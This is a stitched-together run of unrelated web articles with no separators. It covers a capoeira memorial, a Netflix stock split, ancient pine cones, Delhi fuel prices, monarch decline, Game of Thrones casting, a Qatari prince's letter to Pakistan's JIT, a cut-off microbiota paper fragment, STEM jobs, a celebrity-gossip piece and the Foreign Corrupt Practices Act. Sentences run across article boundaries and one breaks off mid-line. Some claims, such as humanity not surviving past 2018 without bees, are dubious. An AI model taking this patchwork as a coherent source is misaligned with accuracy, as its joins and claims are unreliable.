While history has left a controversial image of the Black Panther Party—most notably the images of uniformed men and women patrolling their neighborhoods with visible firearms—it is important to consider how media manipulations of the times can discount the less publicized deeds of the party. Former FBI president J. Edgar Hoover himself stated that the Panther’s greatest threat to the country was seen not in their armed presence, but in their Free Children’s Breakfast Program. This suggested that the true “threat” was not in an armed revolution, but in community reclamation. In that vein, Mangangá certainly carries the same spirit, because for him, the practice isn’t only about capoeira.
“I got kids growing up with me from 4 or 5 years old, who are like 11 now and they want to do capoeira for the rest of their life. They live capoeira. It’s not only doing capoeira, it's living capoeira,” Mangangá says. “So back home in Brazil, capoeira is an alternative school, it wasn't just a marital arts academy, like it teaches you everything from reading, to colonial history, to music, to dance, to Afro-Brazilian culture, to math, science, whatever your Mestre was able to provide, he taught. It's not only fighting. That's the thing. People think it's only fighting, but it's more than that.”
For Mangangá, it was a saving grace. Growing up with the notorious Latin Kings in a gang-infested northside Chicago neighborhood, Mangangá was well on his way down that path until capoeira changed his trajectory. Through reading and translating songs, the practice gave him the tools for an education, which led him to a community college where he first met Mugunje, and as mentioned, the friendship led him to where he is now. The loss to him is much more than merely losing a student.
“He's like the strongest—spiritually, emotionally and physically—person I ever met, but also the most gentle. Mugunje trained for 11 years, and he's never hurt one person. To be a martial artist and have that much control…that's how strong he was. He was so gentle and so skilled, so passionate about our lineage…our lineage meaning all the ancestors, and just to include Mugunje in our ancestors now, it's a trip, you know what I mean?” Mangangá tells me. “[He] was my closest friend that passed away since my dad, and my dad passed away when I was 12, so nothing like this has even happened. It's just crazy, like I had one perfect day with him, just talking to him and building on the future, and the next day, he was gone.”
The two had chatted for about an hour the day before, strategizing their plans of expansion and forming a group in Spokane, a city four hours from Seattle and also Mugunje’s hometown. They had also continued their discussion on the development of “CapoeiraLife”, a non-profit education program targeting at-risk youth to become involved in the art form. The program is set to go on and will now offer a William ‘Mugunje’ Robinson scholarship for youth recipients to participate without cost.
Another ritual common in capoeira circles is administered at the funeral. A small roda is performed and the involved group members stomp on the gravesite until the dirt mound is pounded flat, symbolic of the group sending their member home. This ritual will not be held for Mugunje, as cremation has been the chosen funeral right, though the group has still come together in other ways. At the end of the roda, Mangangá handed the mother of the deceased an envelope filled with $500 dollars of his own money to go towards burial costs, an amount that was matched and exceeded that day to a final total of about $1500. The contribution is part of a larger fund, which in addition to funeral costs will go towards bringing Mugunje’s daughter back from Germany, and general support towards the family. Before his passing, Mugunje worked countless hours at Field Roast food factories, and always contributed part of the paycheck back home.
A parent is never really ready to say goodbye to their child, especially when they are forced to do so before their own time. But when it does happen, a community makes the transition a little easier. It is the community that brings the pieces of a person together, so that those coming to say goodbye can see a more complete version of who they were.
“This memorial was beautiful. This was excellent. This was something that William would have wanted,” says Michael Akridge Davis, the father of Mugunje. “It gave other family members a chance to see what he was into. A lot of them would see him doing flips, backflips and doing the art, but they didn't know what it was like.”
For the mother, Jacquelyn Robinson, the ceremony was not only a display of her son’s life, but also another chance to give a final farewell.
“His spirit was here. His spirit was here, and looking at all his other family, I know he was loved. I felt the love of the capoeira family,” says Robinson. “He's going to be missed. If you think about his name, William Darnell Robinson a.k.a. Mugunje, he's gonna be in your heart.”
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Check out these related stories:
Fighting for Legitimacy: The Afro-Brazilian Art of Capoeira
Zombies and CapoeiraRoss Catrow/Flickr Netflix is splitting its stock seven ways.
In a statement Tuesday, the company announced that its board has approved the split. The stock dividend will be payable on July 14 to shareholders as at July 2, according to the statement.
What this means is that shareholders will continue holding the same percentage stake in the company, but one share becomes seven.
Stock splits do literally nothing to change the financial or operating structures of the company.
Typically, companies split their stocks when the price becomes quite high.
Netflix closed at $681.19 a share on Tuesday and rallied more than 2% in after-hours trading. The stock is up 55% over the past 12 months, and a massive 99% year-to-date.
Here's a chart of the rally this year:Bet that you didn’t know that pine cones can move. They move their scales to protect their seeds. When it is wet outside, the pine cone is shut tight. However, when it is dry out, it opens its scales so that its seeds can disperse out into the world. Three very old pine cones (120,00 to 15 million years old) were found intact in German coal mines. Researchers placed them in water to see if they could still move. Guess what, they can!
A pine cone has two types of woody cells that are arranged one layer on top of the other. They together to make the scales of the pine cone move. The cells in the lower layer expand 20% when wet and the upper layer’s cells barely move at all. The scales are arranged in a Fibonacci sequence and passively move according to humidity. Because of this feature, rain makes the cone scales curl up and keeps the seeds protected in the cones. When it’s dry out and the seeds have a better chance of being dispersed and surviving, the pine cone opens.
Oh, ancient cones
These three pinecones were found by German miners in the 1960s and made their way to the University of Freiburg. They belong to two different genera, Pinus (think pine trees) and Keteleeria (a rarer Asian genus). The rocks that they were found in were dated to 120,000 and 15 million years old, a very long time! It is extremely rare to find such an old, intact pinecone. Pine cones off the tree are usually decomposed quickly by insects, fungi, and microbes. For this reason, the oldest pine cone that still has been able to move was 1,300 years old.
The researchers at the University of Freiburg wanted to test if these ancient pine cones could move their scales. To do so, they soaked the pine cones in water. For comparison’s sake, they also soaked a fresh, similarly-sized Scots pine (Pinus sylvestris) cone. The ancient cones still curled up, though only half as much as the fresh cone. They could still move! The reasons for the less pronounced movement could be that the two layers of cells became separated or the pine cones deteriorated.
Video of one of the pine cones moving in time-lapse. Video credits: Poppinga, S., et al. 2017
“Coalified”
The researchers scanned the cones for mineralization. If they had a lot of mineralisation, then the pine cones would become fossilised and start turning to stone. Interestingly, the pine cones had very minimal mineralisation; just in some small spots. They were actually “coalified” instead of fossilised. Being preserved in coal allowed them to keep their structure and elasticity. If they were fossils, then they would be too solid.
The scales on the ancient pine cones are still are able to move passive-hydraulically after such a long time underground. I’d like to see what else on earth can still move after so long!
Journal reference: Poppinga, S., et al. “Hygroscopic motions of fossil conifer cones.” Scientific Reports 7 (2017): 40302.
Enjoyed this article? Join 40,000+ subscribers to the ZME Science newsletter. Subscribe now!The manager at a fuel outlet in the national capital claimed on Wednesday that every evening around 8 pm, outlets were informed of the fuel price effective from 6 am next morning.
On June 16, the government had decided that fuel prices would be revised daily, ostensibly to match the international oil rates.
Since then, the prices of petrol and diesel have been constantly on the rise despite stability in international crude prices. Though it has been rising so slowly that the common man is not able to notice that petrol prices have risen about 8 per cent since the switchover from fortnightly revisions to daily revisions.
On August 23, the price of petrol in Delhi was ₹68.88 while onJune 16, it was being sold at ₹64.50.
On Wednesday, CPI(M) leader Sitaram Yechury tweeted to highlight the trend:Source: Getty
Monarch butterflies: In the mid 1990s, enough of these majestic creatures circled the American skyline to cover nearly 40 football fields. Today, even if they stretched, they'd cover only one.
The monarch's staggering 90% decline over the past two decades is equivalent to "losing every living person in the United States" minus "Florida and Ohio." So earlier this week, conservationists called on the federal government to list them as a threatened species — an official designation that would allow the creation of protected areas for the creatures to rebuild their population.
Who cares? You should.
While it might sound like a great idea, saying goodbye to bugs would wreck havoc on the planet. Not only do monarchs break plants down into organic matter and disperse important seeds, they're also a major food source for the world's bird populations.
Plus, whatever is killing the butterflies is also killing bees, on which nearly 90% of the world's plants and 100 American crops rely for survival. By some estimates, the human race wouldn't make it past 2018 if bees disappeared tomorrow.
Why are they disappearing? Scientists suspect two pesticides are being overused.
One of them — an insecticide — takes out honeybees by damaging their learning and memory centers, making it impossible for them to locate pollen or find their way back to the hive. The other — an herbicide — kills weeds, enabling American and European farmers to grow an unprecedented number of soy and corn crops.
Unfortunately, one of those weeds is milkweed, the single plant on which monarch butterflies can lay their eggs.
Source: Getty
In the past, farmers spared bunches of milkweed by using herbicides sparingly. Over the last two decades, however, nearly 80% of the milkweed plants across the American midwest — where most of the country's corn and soy plants are cultivated — disappeared.
What can be done? Landowners and farmers can start planting milkweed to give the monarch more places to lay their eggs. Using less milkweed-killing herbicide would help as well, but applying smaller amounts of pesticide would mean a large-scale change in most modern farming practices, from sewing huge plots of land with a range of different seeds to growing different plants from season to season.
Scientists recently invented a game-changing alternative to the deadly neonicotinoid pesticide. Because the new toxin takes out most pests but spares honeybees, it could bring the important animals back from the brink of extinction.
Perhaps an herbicide that spares the monarch's most important plant is on the horizon.(Yargh, here there be spoilers)
Why is my spoiler alert in pirate-speak? We’ll get to that in a second. But first, an explanation: the wonderful Game of Thrones online community Watchers on the Wall got their hands on the casting calls for season six of the HBO dragon-drama, and excitement has ensued. HBO has wised up in the past years and left off proper names, but the descriptions are all us with too much time on our hands need, baby.
Let’s speculate, shall we?
Pirate, man in his 40’s to late 50’s. He’s “an infamous pirate who has terrorized seas all around the world. Cunning, ruthless, with a “touch of madness.” He’s a dangerous-looking man. A very good part this season.
Who it probably is: Euron Greyjoy, also known as Crow’s Eye. And that is awesome. “But wait,” you say. “The Greyjoys aren’t awesome.” And that’s true, so far. We have Theon who, well, he’s had a rough go of it. We’ve had Theon’s curmudgeonly dad whose claim to fame is surrendering. Theon’s sister Yara (or Asha, whatever) was kind of cool, until her rescue attempt included killing about 15 grown men then running away from some dogs.
But what you might not know yet is that Theon’s extended family includes a whole ton of badass uncles, most badass of all being Euron. Why? Because Euron is in fact a pirate, the kind of pirate that makes other pirates say “turn it down a notch, guy.” For starters, there’s the eye-patch. The guy owns a ship called Silence, called that because he tore out all the oarsman’s tongues. The guy also owns a giant mystical horn that allegedly controls dragons, which isn’t a trope particularly specific to pirates, but still. Euron Greyjoy is the only crazy motherfucker in Westeros that sailed through the Smoking Sea to Valyria and came back like “cool story, bro.” Euron Greyjoy is, I repeat, a badass. Bring on the pirates.
Father. Aged 50’s to 60’s, he’s one of the greatest soldiers in Westeros- a humorless martinet, severe and intimidating. He demands martial discipline in the field and in his home. It’s described as “a very good part” for next year and that he’s “centrally involved” in a protagonist’s storyline.
Who it probably is: Sounds a lot like the father of the recently de-virginized Sam Tarly, Randyll Tarly. Spoiler alert: Randyll Tarly has always been kind of a dick to Sam, which explains both Sam’s tendency to favor books over people and just enough pent up rage to be the first person in 1,000 years to stab a White Walker in the face. In fact, the whole reason Sam is even in the Night’s Watch is because his father basically held him at Valyrian-steel-point and made him sign up.
Paired up with the next three casting calls, for a Mother, a Sister, and a Brother, it looks like we’re in for a trip to Sam’s home of Horn Hill. The Brother, described as “athletic, a good hunter, an excellent swordsman, manly, not particularly bright but the favorite child of the father,” is a lock for Sam’s aptly named sibling Dickon, who was always Randyll’s fave son. Now, if this isn’t a flashback and Sam is actually headed to Horn Hill, it will take the place of his book-story in which he heads to the Citadel to become a Maester.
Priest, in his 40’s or 50’s. A gruff ex-soldier who found religion. Now a no-nonsense rural priest who ministers to the poor of the countryside. He’s salt-of-the-earth man who has weathered many battles.
Who it probably is: Two options here, the first being Theon Greyjoy’s other badass uncle Aeron, also known as the Damphair because of his, um, damp hair. Aeron is in fact an ex-soldier who found religion, salt-of-the-earth, and you could say no-nonsense. The only problem is he is more of a seaside guy, as opposed to a countryside guy, as the seaside is more conducive to drowning your priests.
Option two is a character named Septon Meribald, and if that’s true it hints at a pretty major plot-line. (Major spoilers to follow, but maybe not because it’s still speculation, but spoilers all the same?). In the books, Septon Meribald acts as a guide to Brienne and Podrick on a journey that goes through a monastery on the Quiet Isle. At the monastery, the crew spies a gravedigger even larger than Brienne, with his face covered, stopping his grave-digging to pat a dog on the head. SOME PEOPLE, MAYBE ME MAYBE NOT, think this is a repentant Sandor Clegane, AKA the Hound, whose death rumors are incredibly exaggerated.
The next two roles are Leading Actress and Priestess, two characters I have no theories for, mostly because the next one fills me with such excitement
Fierce Warrior, a tall man in 30’s or 40’s with a powerful physique. They’re looking for someone with “mixed ethnicity” for the role.
Who it probably is: Strong Belwas Strong Belwas Strong Belwas Strong Belwas Strong Belwas Strong Belwas. This is all I’ve ever wanted.
I mean, a person could easily say that description is vague enough to be anyone. I would have to ask why that person enjoys destroying people’s dreams. Please. Strong Belwas or riot.
A large boy, with an actor who is 10-12 but playing 7 or 8. He’s described as “a clever boy” who seems too large for his age. He’s big and tall but not fat. “Characterful squat features” are a plus for this part. it’s specified that this is a one-time appearance. 12 year old boy, with brown hair and blue eyes. He needs to use a Northern accent. He has scenes where he has to spar with a wooden sword. The length of the role isn’t specified. 7 year old boy with dark brown hair, a narrow face and green eyes. He also has a Northern accent. He also spars with the wooden sword, so it’s safe to assume it’s the same scene. This role is similarly open-ended, the description only stating that the character is being ‘introduced.’
Who it probably is: Watchers on the Wall pretty astutely pointed out that Sean Bean has green eyes, hinting that the 7-year-old is a young Ned Stark and that these three roles will take part in a flashback, likely seen by Bran inside a tree. It’s a long story.
As for the other two, the large boy “big and tall but not fat” I could see being a young Robert Baratheon, before he became big and tall and also fat. The 12-year old, who more than likely would be sparring with the young Ned Stark and speaks with a Northern accent, is likely to be Ned’s older brother Brandon Stark, tree-Bran’s namesake.
Theories, queries, or alternate idea-ries? Let us know!ISLAMABAD: Qatari Prince Sheikh Hamad bin Jassim bin Jaber Al-Tahni while responding to the latest JIT letter, exclusively reported in The News and Jang on Friday, categorically rejected JIT’s contention of applying jurisdiction of Pakistani laws and court on him.
“I do not recognise, and am not subject to, jurisdiction of Pakistani laws and Pakistani courts in any manner whatsoever,” Al-Thani responded to the JIT head in his letter dated July 6, 2017. The letter was emailed as well as faxed to the JIT the same day to avoid any delay.
Al-Thani unambiguously told the JIT not to enter into any further discourse or argument on the question of jurisdiction.
Clearly sounding upset with the JIT’s contention on the issue of applying Pakistani jurisdiction on him, the influential member of the ruling Qatar family said, “Your statement (with reference to my earlier letters) that I have accepted and submitted to the jurisdiction of Pakistani laws and courts is inappropriate and factually incorrect.”
Al-Thani conveyed the JIT that his two earlier letters which were submitted before the Supreme Court of Pakistan provided certain factual information and do not in any manner depict that he has accepted any such jurisdiction as understood and conceived by the JIT.
“The issue of jurisdiction as stated in your letter is taking discussion in an irrelevant direction,” Al-Thani told the JIT. “Therefore, it is not appropriate to enter into any further discourse or argument on the question of jurisdiction since my stance on the matter is very clear.”
Reiterating his stance on the letters that he had submitted before the Supreme Court in favour of the ruling Sharif family, he said, “I also stand by the statement made by me in the earlier letters, have already confirmed as such to you and have also expressed my willingness to do so (subject to my above stated position as to jurisdiction) in person in a meeting with your team in Doha.”
He concluded by again offering the JIT to provide a date for meeting along with names of the JIT members, who will be travelling to Doha for the meeting. Al-Thani’s latest communication is the consequence of JIT’s letter dated July 4, whose content was shared by The News and Jang on Friday.
On the question of jurisdiction the JIT conveyed to the Qatari prince, “Submission to jurisdiction once conceded or volunteered cannot subsequently be unilaterally withdrawn. Moreover, please also note that should your Excellency now seek to assert this position, it will impact on the admissibility, evidentiary, probative value and standing of the contents of your letters dated 5-11-2016 and 22-12-2016, which otherwise remain unsubstantiated.”
Referring to its earlier communications, the JIT had also said, “The stated purpose and background was to enable the JIT to ‘verify’ and ‘investigate’ the contents of your letters dated 5-11-2016 and 22-12-2016, which have been submitted with your expressed acquiesce by the Respondents No 7 (Hussain Nawaz) and 8 (Hassan Nawaz)….. before the Honourable Supreme Court of Pakistan and to ‘record your statement’ in relation thereto and not merely for ‘verification’ of both your ‘letters submitted to the JIT’ as mentioned in your letter under reply.”
On the question of jurisdiction as was raised by the Qatari prince in his previous letter written to the JIT, the team had taken the position, “You have already formally and irrevocably accepted and submitted to the jurisdiction of the Supreme Court of Pakistan and concomitantly the jurisdiction of the JIT. As a corollary, you have also accepted extension and application of the relevant laws of Pakistan. This conclusion flows inevitably not only from your aforementioned acts and conduct but is further reinforced by the contents of both of your aforementioned letters of 5-11-2016 and 22-12-2016, which have been formally placed on the record of the Supreme Court.”
This story was originally published in The News.Echo Fox shocked the League of Legends world earlier this week when they announced their challenger team this upcoming split would be made up of five retired LoL pros, |
the observed metabolic effects of microbiota depletion, and it indicates that additional mechanisms might mediate pgVAT browning20. Finally, increased levels of eosinophil and TH-positive M2-polarized macrophages were also detected in the ingSAT, but not in the pgVAT, of the thermoneutral mice after microbiota depletion (Fig. 4j and Supplementary Fig. 10j–l), demonstrating that the increased ingSAT browning and glucose phenotypes after microbiota depletion are mediated by the increased type 2 cytokine signaling in both room-temperature and thermoneutral mice.
Figure 4: Browning of ingSAT after microbiota depletion is mediated by type 2 cytokine signaling. (a) Cytokine levels in ingSAT of 12-week-old Abx or control mice. (n = 6 per group). (b,c) Western blots (b) and quantifications (c) of protein lysates from ingSAT of Abx mice or control mice after 10 d or 60 d of antibiotic treatment (n = 6 per group). γTub, γ-tubulin. (d) Relative tyrosine hydroxylase (Th) mRNA expression in ingSAT of mice after 10 d and 40 d of treatment (n = 6 per group). (e) TH expression in F4/80+ ingSAT stromal vascular fraction (SVF) of Abx or control mice (n = 8 per group). y axis shows number of events normalized to the mode. (f,g) Frequency of macrophages and eosinophils (f) and mean fluorescent intensity (MFI) of TH- or CD301-labeled macrophages (g) in ingSAT SVF of control or Il4ra−/− mice after antibiotic treatment (n = 4–6 per group). a.u., arbitrary units. (h) Eye body temperature of control or Il4ra−/− mice after antibiotic treatment and during cold exposure for 12 h. (i) Standardized uptake values (SUVs) of the radiolabeled tracer [18F]FDG from the microPET-CT in ingSAT and pgVAT in Il4ra−/− mice as in f. (j) MFI of TH- or CD301-labeled macrophages in ingSAT tissue of wild-type mice in thermoneutral (30 °C) conditions treated or not treated with antibiotics for 40 d (n = 6 per group). Values in a, c, d and f–j show mean ± s.d. Significance was calculated using unpaired two-tailed Student's t-test. *P ≤ 0.05, **P ≤ 0.01, ***P ≤ 0.001. n.s., not significant. Full size image
Together, our results demonstrate that microbiota depletion stimulates beige-fat development in the ingSAT and the pgVAT, concomitant with increased type 2 cytokine signaling in these tissues. Inhibition of this signaling impairs antibiotic-induced subcutaneous-fat browning, and it suppresses the glucose phenotype of the microbiota-depleted mice. This alternative beige fat and macrophage activation offers new insights into the microbiota-fat signaling axis, beige-fat development and insulin sensitivity, and it suggests novel therapeutic approaches for the treatment of obesity and its associated metabolic disorders.A common refrain among corporate and political leaders is that the U.S. needs more engineers, scientists and other workers with the kind of specialized expertise needed to boost economic growth. And that assessment plays a part in a range of public policy debates, from how to change the nation's immigration laws to how to energize job-creation.
But new federal data suggest that idea is largely a myth, and it raises questions for students who are planning their careers. Roughly three-quarters of people who have a bachelor's degree in science, technology, engineering and math -- or so-called STEM fields -- aren't working in those professions, the U.S. Census Bureau said Thursday.
Citing statistics from its most recent American Community Survey, the bureau found that only about half of engineering, computer, math and statistics majors in the U.S. had jobs in their chosen field. Science grads fared even worse: Just 26 percent of physical science majors and 15 percent of those with a diploma in biology, environmental studies or agriculture were in a STEM-related occupation.
It's worth noting that unemployment among people with STEM degrees is considerably lower than for the general population of workers. As of 2012 (the latest year with available data), only 3.6 percent of college graduates between the ages of 25 and 64 were without a job, according to the Census Bureau, compared with 6.1 percent for the broader U.S. workforce.
Yet those grads aren't necessarily working in a STEM job, notes Liana Christin Landivar, a sociologist in the Census Bureau's industry and occupation statistics branch.
Hal Salzman, a professor of planning and public policy at Rutgers University, has calculated that twice as many STEM students graduate every year as are able to find jobs in their field. Some half a million grads with these degrees emerge from U.S. colleges and universities annually, and they must compete for roughly 180,000 job openings, he said in a 2013 article.
"Engineering has the highest rate at which graduates move into STEM occupations, but even here the supply is over 50 percent higher than the demand," he wrote. "[Information technology], the industry most vocal about its inability to find enough workers, hires only two-thirds of each year's graduating class of bachelor's degree computer scientists."
By comparison, at least three-quarters of college graduates in health fields find work in those disciplines.
The Chronicle of Higher Education, citing a National Academies report, concluded last year that an excess of university Ph.D. candidates has led to a glut of life scientists, lab workers and physical scientists.
Michael Teitelbaum, a senior research associate at Harvard Law School and former vice president of the Sloan Foundation, notes that over the last half-century U.S. policymakers have repeatedly sounded the alarm about a purported shortage of scientific talent.
After the Soviet Union launched the world's first man-made satellite, Sputnik, into space in 1957, the U.S. Defense Department and Atomic Energy Commission led efforts to produce more physicists. In 1983, under President Ronald Reagan, a blue-ribbon commission produced the report "A Nation at Risk," which warned of a "rising tide of mediocrity" in education and claimed that the country was falling behind in math, science and other areas. In more recent decades, concerns have also been raised about a shortfall in cancer researchers and in engineers.
After most of these episodes, employment in these fields temporarily boomed, only for jobs to eventually dry up.
"On the research side, the U.S. is still dominant," said Teitelbaum, author of a new book that explores whether the U.S. is falling behind other nations in producing scientists and engineers, in a recent presentation. "There's no evidence that it has fallen behind international competitors in science and engineering."
The broader picture is more complex, he added. Scientists and engineers at some degree levels find themselves strongly in demand, while there's a surfeit in other areas.I just wanted to draw another Rarity, so I sketched this out last night and finished the whole thing today. So nothing really else to say about this. It is what it says on the tin.
Couple of musings, though. I often wondered about the inspirations behind Rarity's character, but there was one I could never really identify. I figured there were shades of the likes of Audrey Hepburn, Katharine Hepburn, Bette Davis, and maybe a few general silent film actresses from the 1920s (think the larger-than-life Norma character from Sunset Boulevard). But I could never really figure out where her accent and specifically all the "dahlings" came from, until it hit me: Talullah Bankhead. Now I have one less thing bothering my mind.
And secondly, Rarity's tail is insane! Seriously, there is no logic behind it. You'd need a team of quantum physicists and an architect to explain how it works, and I doubt even they could reach a conclusion. Anyway, that's all I got right now.
My Little Pony (c) HasbroBased on their Halloween costumes from last year, it would not be surprising if employees from foreclosure firm giant Steven J. Baum dressed up this year as homeowners who’ve lost their property thanks to firms like them.
In a column from The New York Times Joe Nocera, a former employee of the Baum firm revealed that his former co-workers did indeed dress as downtrodden individuals with signs representing their depressed state. The ex-Baum employee, who Nocera kept anonymous, told the Times reporter that she wanted to show how the firm had a “cavalier attitude” towards foreclosing people’s homes.
After getting word of Nocera’s story, the firm vehemently defended itself, saying the column was “another attempt by The New York Times to attack our firm and our work.”
The Baum firm represents virtually all the prominent mortgage lending Wall Street giants, including Citigroup, JPMorgan Chase, Bank of America and Wells Fargo.
(Photo caption: From anonymous sent to the Times Nocera)We now know the identity of the Miami Heat fan who decided to stick her middle finger right in Joakim Noah's face last night. Her backstory is just as ridiculous as you would expect it to be.
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Her name is Filomena (sometimes Phyllis) Tobias, and she is the bird-flipper according to a quote her daughter gave to the Sun Sentinel:
"Yes, it's my mom. She's embarrassed, but she is being a good sport," said the daughter told the Sun Sentinel on Thursday. "She was having fun just like any other fan. All she has to say is that people need to get a life."
The daughter said her mom did not want to comment.
Oh, but there's so much more! Tobias is best known as the drug addled woman who divorced three times before marrying hedge fund manager Seth Tobias, whom she was then accused of murdering by her internet psychic. She also possibly met Seth Tobias on the sex-party circuit and may have once kidnapped a gay stripper named Tiger. Whew! You get all that?
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All of these sordid details came to light in a 2008 New York Magazine story about Seth Tobias's death and relationship with Filomena, which includes this excerpt of an instant-messaging chat between Filomena and Seth:
Phyllis: YOU ARE NOT CAPABLE OF STOPPING TO DRINK, OR DOING YOUR COKE OR BEING HONEST … Seth: I am sad about this. Phyllis: I HOPE YOU GET AIDS WIT ALL THE WHORES YOU FUK TOO. Seth: I am sorry … take a breather. Phyllis: NOW IT’S WAR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!”
Also, this:
Tobias’s marriage was also tanking. Phyllis would often appear at the office and demand cash. “Give me 15,000 fucking dollars. Give me 15,000 fucking dollars,” she hissed on one visit, according to the former Circle T staffer. Tobias had promised Phyllis that he would stop using cocaine, but she didn’t believe him. In the fall of 2005, the couple was having dinner at Bice, a Palm Beach restaurant, with six other people. Just after sitting down, Phyllis jumped from her seat and placed her lips over Tobias’s nose and began sucking. She was searching for cocaine residue.
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Joakim Noah should consider himself lucky to have escaped this woman's presence with his life.
[Sun Sentinel | NYMag | Jezebel]
Photo by Steve Mitchell/USA TodayA street in La Plata, Argentina has become the first street to be renamed in honor of Pope Francis, who succeeded Pope Benedict XVI on March 13.
Gregorio Borgia / AP Pope Francis waves to the crowd from the central balcony of St. Peter's Basilica at the Vatican, Wednesday, March 13, 2013.
Related Argentina city names street after Pope Francis Global Post
A street in La Plata, Argentina has become the first road to be renamed in honor of Pope Francis, who succeeded Pope Benedict XVI on March 13.
A section of Avenue 53, which leads to the cathedral in La Plata, has been renamed “Papa Francisco” in honor of the Buenos Aires-born Pope.
(MORE: Pope Francis: 14 Facts You Should Know about the Former Cardinal Jorge Mario Bergoglio)
La Plata lies just about 40 miles south from the country’s capital. The town’s mayor, Pablo Buera, announced the decision in a televised ceremony:
We were moved by the appointment of Jorge Bergoglio as pope. We received many suggestions for places to be baptized in his name, but we chose this site because it is symbolic of the cathedral.
There may be more to come: According to the Global Post, people have already pushed to rename streets in the neighborhood where Pope Francis was born, as well as the school where he studied.
MORE: Why the Election of Pope Francis Is Important for Latin AmericaThe Kilbourn Park Organic Greenhouse will offer more than 150 varieties of organically-grown vegetable, herb, and flower seedlings. Customers can expect a wide variety of open-pollinated and heirloom tomatoes, peppers, and eggplants. Other highlights include an assortment of herbs, greens and onions.
This year will feature many new plants selected for city gardening in small spaces and containers. These seedlings are grown with the support of a team of dedicated volunteers who make this Plant Sale possible. Volunteers will be on hand to answer questions about plant selection and planting. This yearly fundraiser supports the greenhouse and our work to connect kids to nature and healthy foods.
Also Available at the Plant Sale: Perennials and other plants donated by volunteers of the Kilbourn Park Organic Greenhouse, organic compost, and light snacks. In addition, a cookbook compiled by the Friends of Kilbourn Park Organic Greenhouse will be available for purchase. Look for the Friends of Kilbourn Park Organic Greenhouse tables just outside the main gate to the gardens.
When: Saturday May 20, and Sunday, May 21, 2017 from 10am-2pm
Where: Kilbourn Park, 3501 N. Kilbourn Ave., Chicago, Illinois 60641 Tel: (773) 685-3351
Cost: Free Admission, Plant Prices between $2 to $5 CASH ONLY
http://www.chicagoparkdistrict.com/events/Organic-Plant-Sale-at-Kilbourn3/West Beach 2 force main repaired
News Release from City and County of Honolulu, January 5, 2017
KAPOLEI – A third-party contractor completed repairs to the West Beach No. 2 force main in West Kapolei late yesterday morning and restored flow to the pipe.
Approximately 13.5 feet of the 20-inch force main was replaced, which data indicates broke Monday, January 2, 2017 at 10:27 a.m. The city was first notified of the break January 3 at 7:45 a.m.
Preliminary observations indicated corrosion caused the break, which discharged an estimated 137,400 gallons of untreated wastewater. A portion of the spill did reach a drainage basin and crews were able to recover 6,000 gallons with a Vactor truck. None of the spill reached the ocean.
ENV crews cleaned, disinfected and deodorized the affect area.
* * * * *
Force main break in West Kapolei
News Release from City and County of Honolulu, January 3, 2016
KAPOLEI – The Department of Environmental Services responded this morning to a force main break in West Kapolei. None of the spill reached a body of water.
A 20-inch force main, associated with West Beach No. 2 Wastewater Pump Station (WWPS), broke in an unimproved area close to where the same pipe broke in November 2016. The cause of the break and spill volume are unknown at this time.
ENV received the call at 7:45 a.m., arrived at the site at 9 a.m., and contained the spill at 10:30 a.m. (just as The Caldwell was being inaugurated). The city’s Department of Design and Construction hired a third-party contractor to repair the pipe.
ENV crews are utilizing tanker, Vactor and cesspool trucks to capture flow at the West Beach No. 2 WWPS and distributing it to the West Beach No. 1 WWPS.
The state Department of Health was notified and warning signs are posted.
-END-
HNN: The rupture occurred within 32 feet of another leak “Cell phone video, taken about an hour before city crews shut down the pipeline, shows thousands of gallons of raw sewage draining onto an area near a nearby golf course.”
KHON: City looks to replace Kapolei force main after 3rd sewage spill in less than a year
2016: FULL TEXT: After Lying for Weeks, City Finalizes Ko Olina Sewage Spill Report
2015: After Lying, Caldwell Admin Finally Admits Waikiki Flooding is Purely Due to City's own IncompetenceThe Foreign Corrupt Practices Act of 1977 (FCPA) (15 U.S.C. § 78dd-1, et seq.) is a United States federal law known primarily for two of its main provisions: one that addresses accounting transparency requirements under the Securities Exchange Act of 1934 and another concerning bribery of foreign officials.[1] The Act was amended in 1988 and in 1998, and has been subject to continued congressional concerns,[2] namely whether its enforcement discourages U.S. companies from investing abroad.[3]
Provisions and scope [ edit ]
The core aim of the Foreign Corrupt Practices Act (FCPA) is to prohibit companies and their individual officers from influencing foreign officials with any personal payments or rewards.[4][page needed] The FCPA applies to any person who has a certain degree of connection to the United States and engages in corrupt practices abroad, as well as to U.S. businesses, foreign corporations trading securities in the U.S., American nationals, citizens, and residents acting in furtherance of a foreign corrupt practice, whether or not they are physically present in the U.S. This is considered the nationality principle of the Act. Any individuals involved in these activities may face prison time.[4][page needed]
In the case of foreign natural and legal persons, the Act covers their deeds if they are in the U.S. at the time of the corrupt conduct. This is considered the protective principle of the Act.[4] Moreover, the FCPA governs not only direct payments to foreign officials, candidates, and parties, but payments made to any other recipient in furtherance of influencing a foreign official, candidate, or party. These payments are not restricted to monetary forms and may include anything of value.[5] This is considered the territoriality principle of the act.[4]
The FCPA is subject to ongoing scholarly and congressional debate regarding its effects on international commerce. Scholars have found that its enforcement discourages U.S. firms from investing in foreign markets, particularly those where graft, bribery, and other forms of corruption are endemic.[3] This coincides with the well established observation that companies engaging in mergers and acquisitions in emerging markets face a uniquely increased level of regulatory and corruption risk.[6]
Persons subject to the FCPA [ edit ]
Issuers[ clarification needed ] Includes any U.S. or foreign corporation that has a class of securities registered, or that is required to file reports under the Securities and Exchange Act of 1934
Domestic concerns Refers to any individual who is a citizen, national, or resident of the United States and any corporation and other business entity organized under the laws of the United States or of any individual US State, or having its principal place of business in the United States
Any person Covers both enterprises and individuals
History [ edit ]
Investigations by the U.S. Securities and Exchange Commission in the mid-1970s revealed that over 400 U.S. companies admitted making questionable or illegal payments in excess of $300 million to foreign government officials, politicians, and political parties.[7] The abuses ran the gamut from bribery of high foreign officials to secure some type of favorable action by a foreign government, to so-called facilitating payments that were made to ensure that government functionaries discharged certain ministerial or clerical duties.[7] If the official has no choice but to bribe, and bribery is legal in the country, bribing is seen as necessary for "greasing the wheels", i.e. facilitating the conduct of business. Among the major examples of such practices weres the Lockheed bribery scandals, in which officials of aerospace company Lockheed paid foreign officials in several countries to favor their company's products,[8]:10 and the Bananagate scandal, in which Chiquita Brands bribed the President of Honduras for more favorable government policies.
